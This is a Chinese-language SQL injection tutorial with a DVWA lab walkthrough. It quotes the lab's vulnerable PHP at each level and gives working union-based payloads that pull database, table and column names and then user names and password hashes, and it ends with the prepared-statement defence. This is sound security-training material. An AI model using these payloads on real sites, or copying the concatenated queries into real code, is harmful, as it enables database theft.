七、SQL Injection:
1.漏洞原理:
SQL Inject中文叫做SQL注入,是发生在web端的安全漏洞,主要是实现非法操作,例如欺骗服务器执行非法查询,他的危害在于黑客会有恶意获取,甚至篡改数据库信息,绕过登录验证,原理是针对程序员编写数据库程序的疏忽,通过执行SQL语句,实现目的性攻击,他的流程可以分为判断数据库类型、判断数据库版本、判断注入点、判断注入类型、判断数据字段数、判断显示位、获取数据库中的信息。
简单来说就是通过web表单把SQL命令提交到数据库,由于管理员没有细致的过滤用户输入的数据,造成字符串拼接,进而恶意的SQL语句被执行,造成数据库信息泄露、网页篡改、数据库被恶意操作等后果。
2.SQL Injection分类:
从注入参数类型分类:数字型注入、字符型注入、搜索型注入
从注入方法分:报错注入、布尔盲注、时间盲注、联合查询注入、堆叠注入、内联查询注入、宽字节注入
从提交方式分:GET注入、POST注入、COOKIE注入、HTTP头注入
3.SQL注入漏洞的利用思路:
(1)第一步:
寻找可能的漏洞站点,也就是目标站点。
(2)第二步:
通过站点的后缀名来判断网站的使用的是哪一种数据库,简单的判断可以观察脚本后缀,如果是“.asp”为后缀,则数据库可能是access,如果是“.aspx”为后缀可能是MsSql,如果是“.php”为后缀的可能是mysql数据库,如果是“.jsp”,可能是orcale数据库。
(3)第三步:
是寻找站点存在的注入点,可以再URL中进行尝试输入参数后在拼接上引号,通过回显可以判断该站点传输方式,为GET或POST方式POST需要查看表单数据,POST注入在表单中提交引号,而cookie注入可以通过burpsuite工具来判断注入点。
(4)第四步:
判断注入点的类型,如果加减法运算按照是否是数字型注入,如果单引号和页面报错信息来进一步判断是哪一种的字符型注入。
(5)第五步:
闭合我们输入的SQL语句,通过注释的方式来获取数据,有以下几种情况:
①当页面有回显但是没有显示位的时候,可以选择报错注入,常见的报错注入利用函数有那么几个:floor()、exp()、updatexml()、exteractvalue()等函数。
②当页面没有明确的回显信息的时候,但是输入正确和输入错误的时候页面不相同的情况下,可以考虑报错注入,报错注入常见的函数有:ascii()、substr()、length()、concat()等函数。
③当页面没有会回显也没有报错信息的时候,可以使用时间盲注去获取数据库中的数据,时间盲注常见的函数有:sleep()。
其他:当然还有很多其他的注入方式,比如:宽字节注入、base64注入、cookie注入、http头部注入、二次注入、堆叠注入等。
4.漏洞危害:
(1)获取企业内部、个人未授权的隐私信息,或一些机密数据。
(2)页面内容伪造篡改。
(3)数据库、服务器、网络(内网、局域网)受到攻击,严重时可导致服务器瘫痪,无法正常运行。
5.防御以及修复措施:
(1)对数据库进行严格的监控。
(2)对用户提交的数据进行严格的把关,多次筛选过滤。
(3)对用户内数据内容进行加密。
(4)代码层面最佳防御sql漏洞方案:采用sql语句预编译和绑定变量,是防御sql注入的最佳方式。
6.注意事项:
我们在进行查询的时候可能会遇到union联合查询我们利用Navicat Premium 15链接我们的dvwa的MySQL数据库,然后我们找到dvwa然后右键右键点击选择“设计表”。接下来我们将“first_name”、“last_name”、“user”等全部将默认排序的“utf8_unicode_ci”修改为“utf8_general_ci”。修改完成然后保存,完成修改。就可以正常使用union联合查询语句了。
7.实战:
(1)Low:
代码分析:
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); break; case SQLITE: global $sqlite_db_connection; #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']); #$sqlite_db_connection->enableExceptions(true); $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } ?>
可以看出来基本上没有防护,所以我们直接开始攻击了。
首先利用语句“1’and’1’=’1”和“1’and’1’=’2”来判断是否有注入点。以下为两种语句的不同回显,可以判断出是有注入点的。
判断完注入点我们尝试获取他的判断他的列数,利用“1’order by 1#”语句替换“1”来判断行数,这里我们“#”或者“--+”的作用是注释掉原本语句后面的内容,让我们能够自如的进行查询。然后我们最后查询到“1’order by 3#”就弹出报错,就说明列数应该为两列。
判断完列数后,我们开始利用联合查询语句,这里使用“-1’union select 1,2#”,来判断显示位。我们这里可以看见回显了另外一个语句,就说明显示位为2,一般靶场中比如sqli-labs那种就会需要将前面的“1”改为“-1”,也就是“-1’union select 1,2#”才会正常回显我们查询的内容。这里我们也可以,之后的演示排除干扰就将第一行结果屏蔽了。
这里我们收集数据库名称利用database()函数,它的作用是返回数据库名,我们在后续查询中是需要数据库才能进行的所以利用语句“-1’union select 1,database()#”接下来进行查询,得到结果数据库名称为“dvwa”。
我们收集完以上的数据库信息后,我们再查询一下数据库的版本,因为mysql数据库注入大概是以5.0版本为分界线,5.0以下没有information表,5.0以上则都有information表。这里的MySQL版本为5.7.26,那么我们就可以查询information表来找到数据库的表名。
接下来,我们查询dvwa数据库有哪些表名,利用联合查询语句“-1'union select 1,table_name from information_schema.tables where table_schema='dvwa'#”来进行对表名的查询。得到两个表名“guestbook”和“users”。
我们查询好表名后,我们查询列名,利用语句“-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')#”得到“user_id,first_name,last_name,user,password,avatar,last_login,failed_login
”的结果,这个时候我们就可以知道我们应该查询“user”和“password”。
然后我们查询好表名为“users”和列名“user”、列名“password”后,我们利用查询语句“-1’union select user,password from users”,然后查询得到账号和密码,密码是MD5加密需要自己解密查询。
(2)Medium:
代码分析:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
使用POST提交方式,还使用了转义预防SQL注入。
我们开始攻击,首先我们打开BP进行截包,得到如下的数据包。并将其发送到“Repeater”,方便接下来的注入回显操作。
我们同样利用“1 and 1=1”和“1 and 1=2”来判断,是否这里为注入点,观察两者的有差异且页面未报错,就说明这里是注入点。
这里我们可以看到,同样是在“3”的时候,我们这里用“order by 3”查询返回报错,所以我们这里判断前面只查询两列。利用语句“1 union select 1,2#”来进行验证,返回正确,验证成功。
此时同样判断完列数后,我们同时对版本和数据库名称进行查询,利用语句“1 union select database(),version()#”。此时观察回显,发现同时回显了数据库名称和数据库版本dvwa和5.7.26。
在查询完数据库后,我们先查询表名,然后查询列名,利用语句“1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’dvwa’)#”,但发现报错,没有任何反应,将“dvwa”改为“database()”后查询得到“users”表名后。后来发现是对单引号进行了转义。所以我们将单引号连同users一起写为16进制表示为“0x75736572”。
查询列名“1 union select (select group_concat(column_name) from information_schema.columns where table_name=0x75736572),(select group_concat(table_name) from information_schema.tables where table_schema=database())”,得到关键列名“user”和“password”。
最后我们利用,“1 union select user,password from users#”语句,得到最后的结果。
(3)High:
代码分析:
<?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } ?>
使用了session 获取id 值,闭合方式单引号闭合。
虽然用了session来获取id值,但是同样也是数字型注入,利用同样的方法,然后最后用“-1’union select user,password from users #”,即可得到答案。
(4)Impossible:
代码分析:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.
$num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray();
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
break;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
此为防御模板,CSRF、检测 id 是否是数字,prepare 预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。